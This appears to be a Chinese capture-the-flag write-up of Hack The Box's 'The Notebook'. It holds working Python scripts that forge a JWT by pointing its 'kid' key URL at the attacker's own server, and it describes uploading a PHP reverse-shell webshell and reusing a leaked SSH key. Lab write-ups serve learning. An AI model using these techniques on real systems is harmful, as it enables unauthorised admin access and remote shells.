前言

只拿到了user,提權沒成功——有wp說是CVE-2019-5736,我沒打成。

打點

nmap-sV -v -A 10.10.10.230

埠掃描結果:

PORT      STATE    SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 86:df:10:fd:27:a3:fb:d8:36:a7:ed:90:95:33:f5:bf (RSA)
| 256 e7:81:d6:6c:df:ce:b7:30:03:91:5c:b5:13:42:06:44 (ECDSA)
|_ 256 c6:06:34:c7:fc:00:c4:62:06:c2:36:0e:ee:5e:bf:6b (ED25519)
80/tcp open http nginx 1.14.0 (Ubuntu)
|_http-favicon: Unknown favicon MD5: B2F904D3046B07D05F90FB6131602ED2
| http-methods:
|_ Supported Methods: GET OPTIONS HEAD
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: The Notebook - Your Note Keeper
10010/tcp filtered rxapi
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

註冊介面發現admin使用者已存在,爆破一手密碼試試,無果。

使用test test成功登入,但只有一個新增筆記的功能,沒什麼思路

又測試註冊和登入介面是否存在sql注入,無果。

嘗試之前某題的思路在admin後加上超多空格,試圖超出截斷以覆蓋已有admin賬號也失敗了。

但是base64解碼admin空空空空空賬號的登入cookie後發現這是個jwt,思路轉向jwt偽造。

下面是已經存在賬號test的token

{"typ":"JWT","alg":"RS256","kid":"http://localhost:7070/privKey.key"}.{"username":"test","email":"[email protected]","admin_cap":falsefQ.˜MtÇ[8’⺞Z*ï>IÙÈ@3▫•»6TC5-ˆŒ1̲•³Ivh-»fr^•wqÜNfèM ÐÉ¥Á̲eîÚ0ha-O:K‘HrˆÀßdàÍÏYZóP;C§««U2_žÇqˆK÷hJ9è—âQ7êmÛMíˆet¡ÜV†…>|_n›Ô…·W5	Š
e¥1¢yÒ¸G†}áÊQ

nmap掃描7070埠發現未開放,因此猜測把url改到我們自己伺服器上來控制key,再修改admin_cap值為True來達到越權至admin的效果。

生成token指令碼如下,因為rs256加密,這key不能亂寫,先改成HS256試試。

privKey.key放的就是test1234

import jwt
import base64 key = b'test1234'
head = {
"typ": "JWT",
"alg": "HS256",
"kid": "http://10.10.15.0:8000/privKey.key"
}
payload = {
"username":"test",
"email":"[email protected]",
"admin_cap":True
}
# head_str = json.dumps(head)
# payload_str = json.dumps(payload)
# pattern = head_str + '.' + payload_str
# secret = base64.b64encode(pattern.encode())
#jwt_token = base64.b64encode(head_str.encode()) + b'.' + base64.b64encode(payload_str.encode()) + b'.' + secret
jwt_token = jwt.encode(payload,key,"HS256",head)
print(jwt_token)

確實有訪問記錄,但是沒有成功。

把加密方式改回RS256試試

先生成一個私鑰

import jwt

key = """-----BEGIN RSA PRIVATE KEY-----
MIICWwIBAAKBgQDUCGTLntMGEocLy6Ww/W/luPdLAaou2XMUQT7E91BuFTndKfOq
adJta5XoRFLeExTRK1+tYJjj2fWjFUUFf22puEutBP8rxI9B9bfiwcRKvWqqh71U
j0q8cDpnrPw6jS+7kOGxG2fPFqHVYUP1u+7ZN71EwzwNcAdAqM0ZjvtADwIDAQAB
AoGBAMQDxnrfJyKT+jiTWWfXw5xRdHvo3BVXfSWac5bPM5GxGb81y0cdcSUqsnj4
wMsARNxiBp9Xj8AEfSr4vMgqV4tArBfyNuJEjLtWCO37L8qXC3jtUsImgRZQqW+3
lIzPNHgddfdmlFrorTZx8ZssWX7kAXl020WiTHptbiNmmRehAkEA/hDKeP/Y4/0P
I0jdWxnXpSHXXiPPGZ4N8phSQMuCnsWpa7Zf8bzDJyeOtbCUEpGhu2EB46Ol6l4c
I7W7Ecjs5wJBANWlrNC9t9mJKkQ9S+n71OryGC1CnZTT0FQssSqgvZgo/FepkXzo
10yuVAaqqKGt9XhjEP7TjtH0O745iDudxpkCQC0l0rUZ0fMBvzTn993+g6Gml9z0
xBKrUZMwmj1FbNrGCUtIx1fv0UYd83A6BrYeBv2DSZCoPg2d16ZI3wtUBzUCQFDr
8rwRz+wmZwr3yKQ0jZ372qpx++veGp93WheSUJ2skH/Hq2KLctkJgqwPwdWTZVGW
/F341bSydFqFwhMKnKkCPxdfD2OW1BDtHOh7xT0dn4fuZNKojzTrmej2ypu4DM8h
GMln3Xc5vNL18351Q8TfLTeYCeTGrAXZeuRvcUODSQ==
-----END RSA PRIVATE KEY-----
"""
head = {
"typ": "JWT",
"alg": "RS256",
"kid": "http://10.10.15.0:8000/privKey.key"
}
payload = {
"username":"test",
"email":"[email protected]",
"admin_cap":True
} jwt_token = jwt.encode(payload,key,"RS256",head)
print(jwt_token)

用cookie quick manager替換掉test的cookie成功獲取管理員許可權

發現上傳

它隔一段時間上傳的馬就會被刪,蟻劍就不太好操作了,重新上傳一個反彈shell的馬/usr/share/webshells/php/php-reverse-shell.php

在/home/noah下發現了user.txt,還有一個main檔案不知道是幹嘛的(從strings命令的內容來看像是go寫的,跑一下就一個報錯),下一步就是要切到該使用者讀檔案了。

在/var下發現備份檔案

下面幾個涉及到賬號的只有home.tar.gz可讀,下載下來看看

發現存在Noah的ssh私鑰,直接登入.獲取user flag

提權

sudo -l 發現有無需密碼命令



看樣子是要容器逃逸了。但我不清楚這要怎麼判斷是什麼洞,試了下別的wp寫的CVE-2019-5736,沒打成,溜了